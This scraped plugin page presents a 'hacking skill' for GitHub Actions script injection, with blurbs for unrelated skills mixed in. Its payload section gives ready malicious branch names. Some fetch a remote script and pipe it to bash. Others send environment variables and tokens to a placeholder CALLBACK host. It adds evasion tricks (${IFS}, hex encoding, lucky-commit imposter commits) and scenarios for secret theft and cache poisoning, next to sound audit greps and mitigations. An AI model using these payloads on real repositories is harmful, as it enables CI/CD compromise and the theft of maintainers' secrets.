From meta
Use when auditing GitHub Actions workflows for script injection vulnerabilities via unsanitized context expressions. Trigger on: "github actions injection", "workflow injection", "head_ref injection", "github context injection", "pwn request", "github.head_ref", "github.event.pull_request.title", "github.event.issue.body", pull_request_target workflows, run: steps interpolating GitHub context variables, CI/CD script injection, GitHub Actions security audit.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
GitHub Actions workflows interpolate context expressions like `${{ github.head_ref }}`
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }}
directly into shell run: steps at workflow parse time — before the shell executes.
An attacker who controls the input (branch name, PR title, issue body, commit message)
can inject arbitrary shell commands that execute with the workflow's token permissions.
Even a read-only token becomes dangerous if it can be leveraged into cache poisoning,
secret exfiltration via subsequent workflows, or SSRF to internal services.
run: steps containing ${{ github.head_ref }}, ${{ github.event.pull_request.title }},
${{ github.event.pull_request.body }}, ${{ github.event.issue.title }},
${{ github.event.issue.body }}, ${{ github.event.comment.body }}pull_request_target trigger (runs in base repo context — elevated permissions + secrets)workflow_run consuming artifacts or outputs from untrusted workflowsissue_comment, pull_request_review_comment triggers with body interpolation${{ toJson(github.event) }} piped into scriptsenv: variable indirection (safe pattern uses env: VAR: ${{ expr }} then $VAR)find .github/workflows -name "*.yml" -o -name "*.yaml"run: blocks:
grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.'
pull_request, pull_request_target, issue_comment, workflow_dispatch?permissions: block or default GITHUB_TOKEN scope.# Malicious branch name for github.head_ref injection
# Uses ${IFS} to avoid spaces (which break branch names)
git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)'
git push origin HEAD
# Simpler OOB detection payload (DNS exfil)
git checkout -b '$(curl${IFS}https://CALLBACK/$(cat${IFS}/proc/self/environ|base64))'
# Exfiltrate GITHUB_TOKEN
git checkout -b '$(curl${IFS}-d${IFS}@/proc/self/environ${IFS}https://CALLBACK)'
# lucky-commit: make malicious commit SHA match a short prefix (stealth)
lucky-commit SHORTSHA
# Grep workflows for injection points
grep -rn '\${{' .github/workflows/ | grep 'run:' -A5 | \
grep -E 'head_ref|event\.pull_request\.(title|body)|event\.issue\.(title|body)|event\.comment\.body'
# Check pull_request_target triggers (highest risk)
grep -rn 'pull_request_target' .github/workflows/
${IFS} instead of spaces in branch names$'...' ANSI-C quoting or hex encoding $'\x63\x75\x72\x6c'lucky-commit to craft a commit whose SHA matches a known prefix, making the imposter commit look legitimate in reviews{cmd,arg1,arg2} brace expansion, $() subshell, backtick substitution${{ github.head_ref }} is filtered, try ${{ github.event.pull_request.head.ref }} or other equivalent paths in the event payloadScenario 1 — Secret exfiltration via branch name
Setup: Workflow runs on pull_request trigger with run: echo "Testing ${{ github.head_ref }}".
Token has read-only permissions but the workflow environment contains AWS_ACCESS_KEY_ID.
Trigger: Attacker opens PR from fork with branch named $(printenv|curl${IFS}-d${IFS}@-${IFS}https://CALLBACK).
Impact: All environment variables including secrets exfiltrated to attacker's server.
Scenario 2 — Cache poisoning pivot (low-priv token)
Setup: Workflow has read-only GITHUB_TOKEN — no direct secret access.
Trigger: Injection deploys Cacheract, fills cache past 10 GB, plants poisoned node_modules.
Impact: Downstream privileged workflow restores poisoned cache, executes attacker code with elevated token.
(See: github-actions-cache-poisoning skill for full technique.)
Scenario 3 — pull_request_target full compromise
Setup: Workflow uses pull_request_target (runs in base repo context with write token + secrets).
Trigger: Attacker forks repo, opens PR with injected PR body containing ${{ github.event.pull_request.body }} payload.
Impact: Workflow executes with base repo's full write token — direct push to main, secret exfiltration, artifact tampering.
if: condition only — not executed as shell, not injectableenv: variable with no subsequent shell interpolationwith: action inputs — depends on action implementation${{ inputs.value }} where inputs come from workflow_dispatch with type: choice# WRONG: direct interpolation into shell
- run: echo "Branch: ${{ github.head_ref }}"
# CORRECT: assign to env var, reference via shell variable
- run: echo "Branch: $BRANCH_NAME"
env:
BRANCH_NAME: ${{ github.head_ref }}
env: indirection for all attacker-controlled context values — shell variables are not parsed as codepull_request over pull_request_target unless base repo context is strictly necessarypermissions: to minimum required (contents: read only when possible)harden-runner (StepSecurity) to detect unexpected network calls during CI[[github-actions-cache-poisoning]] is the natural escalation when script injection yields only a read-only token — the injected code writes poisoned cache entries that a later privileged workflow restores. [[pwn-request]] is the trigger mechanism that causes this skill to fire: a pull_request_target workflow checked out from an attacker-controlled fork is how script injection reaches a privileged context. [[cicd-bot-command-injection]] exploits the same untrusted-input-in-workflow pattern but through comment triggers rather than branch names.